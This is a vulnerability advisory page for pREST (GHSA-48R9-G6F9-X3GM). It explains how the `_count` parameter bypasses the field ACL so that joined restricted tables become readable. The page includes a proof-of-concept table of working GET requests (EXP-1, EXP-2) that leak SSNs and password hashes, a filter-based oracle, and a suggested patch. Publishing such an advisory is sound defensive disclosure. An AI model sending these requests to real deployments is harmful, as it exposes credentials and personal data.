GHSA-48R9-G6F9-X3GM
_count bypasses the per-field ACL: restricted columns and non-allowlisted joined tables (including the auth table) are readable
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-48R9-G6F9-X3GM divulgada · CVSS 7.5 (GitHub) | |
| Remediación | Parche v2.5.3 | github.com/prest/prest/v2 · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
## [Summary]
In `Select`, `_count` makes the handler throw away the ACL-filtered column list and rebuild the projection from the raw `_select`. Together with `_join`, any column of any joined table becomes readable, regardless of `[[access.tables]]`. That includes tables with write-only permissions and tables not listed at all, such as `prest_users` with its password hashes. It works unauthenticated with the anonymous ACL (`restrict = true`), or with any low-privilege token. Confirmed on v2.5.1 using the repository's own ACL fixture.
## [Details]
`controllers/crud.go`, `Select`, builds the select list from the ACL-filtered columns, including the join handling added for issue #364, then discards it when `_count` is present:
cols, err := h.perms.FieldsPermissions(r, database, schema, table, "read", userName) // ACL-filtered
...
selectStr, err := h.sql.SelectFields(cols)
query := h.sql.SelectSQL(selectStr, database, schema, table)
...
countQuery, err := h.builder.CountByRequest(r)
countFirst := false
if countQuery != "" {
query = h.sql.SelectSQL(countQuery, database, schema, table) // filtered list discarded`CountByRequest` (`adapters/postgres/postgres.go:1097`, also `adapters/mysql/sql.go`) re-reads the raw `_select` and appends it to the projection:
selectFields := queries.Get("_select")
... s, ferr := sanitizeSelectField(strings.TrimSpace(p)) ... // syntax only, no ACL
countQuery = fmt.Sprintf("SELECT COUNT(%s)%s FROM", strings.Join(fields, ","), selectFields)`JoinByRequest` still appends the join. `FieldsPermissions` only rejects a request when no permitted column is left, so naming one permitted column first is enough. The repo fixture states the rule being broken (`testdata/prest.toml`): "employee_secret is joinable but never readable, so a join against it must not leak a single column".
The fix for CVE-2026-104130 added `sanitizeSelectField` to this function, which is about injection; the authorization step was never added. The same issue also exists without a join, for a table whose ACL lists only some of its columns.
Suggested fix: apply the field permission to the count projection, in `Select` before the count query is used:
if countQuery != "" {
+ // _count rebuilds the projection from the raw _select (and _groupby),
+ // which would otherwise be returned without the per-field ACL applied
+ // to the normal select list above. Enforce the same permission here.
+ if perr := assertRequestFieldsPermitted(r, cols); perr != nil {
+ jsonError(w, perr.Error(), http.StatusForbidden)
+ return
+ }
query = h.sql.SelectSQL(countQuery, database, schema, table)Here `assertRequestFieldsPermitted` checks that every field named in `_select`, `_groupby` and `_count` is in the ACL-filtered list. A `*` in that list means the whole table is readable, for example when `restrict` is off. I can share the full patch.
Validation with the patch:
- Both PoC requests return 403.
- A legitimate `?_select=dept&_count=*&_groupby=dept` still returns 200.
- `go test ./controllers/... ./adapters/postgres/...` passes.
A longer-term option is to pass the ACL-filtered fields into `CountByRequest` instead of re-reading `_select`.
Related, lower severity: WHERE filters, `_or` and `_groupby … having` are not checked against the field ACL either. For example, `?employee_secret.ssn=$like.1%` with the join gives a true/false oracle.
## [Proof of concept]
Setup: pREST v2.5.1 (built from the tag) on PostgreSQL 16, with the data from the repo's `testdata/schema.sql` and this config. The ACL section is taken from `testdata/prest.toml`.
[pg]
host = "127.0.0.1"
port = 5432
user = "postgres"
pass = "postgres"
database = "prest-test"
[access]
restrict = true
[[access.tables]]
name = "department"
permissions = ["read"]
fields = ["d_id", "dept", "emp_id"]
[[access.tables]]
name = "employee"
permissions = ["read"]
fields = ["id", "name"]
[[access.tables]]
name = "employee_secret"
permissions = ["write"]
fields = ["emp_id", "ssn"]Requests (GET):
| # | Request | Result |
|---|---|---|
| CTRL-1 | `/prest-test/public/employee_secret` | 401 |
| CTRL-2 | `/prest-test/public/department?_join=inner:employee_secret:department.emp_id:$eq:employee_secret.emp_id&_select=dept,employee_secret.ssn` | 200, no `ssn` (#364 fix holds) |
| EXP-1 | same as CTRL-2 plus `&_count=*&_groupby=dept,employee_secret.ssn` | 200, returns `ssn-top-secret-1`, `ssn-top-secret-2` |
| CTRL-3 | `/prest-test/public/prest_users` | 401 |
| CTRL-4 | `/prest-test/public/department?_join=inner:prest_users:department.emp_id:$eq:prest_users.id&_select=dept,prest_users.password` | 200, no hash |
| EXP-2 | `/prest-test/public/department?_join=inner:prest_users:department.emp_id:$eq:prest_users.id&_select=dept,prest_users.username,prest_users.password&_count=*&_groupby=dept,prest_users.username,prest_users.password` | 200, returns `test@postgres.rest` / `e10adc3949ba59abbe56e057f20f883e` |
Reproduced 3/3 in two configurations:
- No auth (anonymous ACL).
- `auth.enabled = true` with JWT, logged in as the low-privilege fixture user `test@postgres.rest` (`POST /auth`), sending `Authorization: Bearer <token>`.
I have the Python client and both configs used for this, and I can share them.
## [Impact]
The ACL (`restrict` plus `[[access.tables]]` permissions and fields) is how pREST deployments expose only some tables and columns. With this bypass, an unauthenticated client using the anonymous ACL, or any user holding a low-privilege token, can read every column of every table the database role can read. That includes write-only data and pREST's own user table with password hashes, which enables offline cracking and account takeover. Integrity and availability are not affected. Affected: `github.com/prest/prest/v2` <= 2.5.1 and `main`.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
gogithub.com/prest/prest/v2 |
Corregida | v2.5.3 | 0 d | v2.5.3 no afectada |
v2.5.3Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/prest/prest/security/advisories/GHSA-48r9-g6f9-x3gmLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
